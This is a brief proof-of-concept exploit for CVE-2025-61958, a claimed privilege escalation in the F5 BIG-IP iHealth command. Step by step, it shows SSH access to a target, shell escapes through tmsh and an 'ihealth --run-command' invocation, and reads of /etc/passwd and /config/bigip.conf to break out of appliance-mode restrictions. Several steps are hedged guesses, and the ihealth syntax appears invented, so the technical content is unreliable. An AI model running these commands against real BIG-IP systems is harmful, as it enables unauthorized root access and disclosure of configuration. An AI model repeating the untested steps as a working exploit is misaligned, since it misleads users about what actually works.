CVE-2025-61958 F5 BIG-IP iHealth命令权限提升漏洞

# CVE-2025-61958 - F5 BIG-IP iHealth Command Privilege Escalation PoC # This PoC demonstrates the concept of bypassing tmsh restrictions via iHealth command # Note: Requires authenticated access with at least Resource Administrator role # Step 1: Authenticate to the BIG-IP system via SSH or tmsh ssh admin@<bigip_target_ip> # Step 2: Attempt to bypass tmsh restrictions using iHealth command # The iHealth command can be abused to execute bash shell commands # bypassing the normal tmsh security controls # Method 1: Using iHealth with command injection tmsh # Within tmsh shell, attempt to invoke iHealth with malicious parameters run util bash -c "id" # Method 2: Direct iHealth command abuse # If iHealth allows spawning subprocesses, use it to gain bash access ihealth --check --run-command="/bin/bash" # Step 3: Verify privilege escalation # After successful exploitation, check if bash shell access is obtained whoami cat /etc/passwd # Step 4: For Appliance mode systems, verify security boundary crossing # Access files outside the normal tmsh restricted environment ls -la /config/ cat /config/bigip.conf # Expected result: Access to bash shell with elevated privileges # allowing operations beyond the Resource Administrator role scope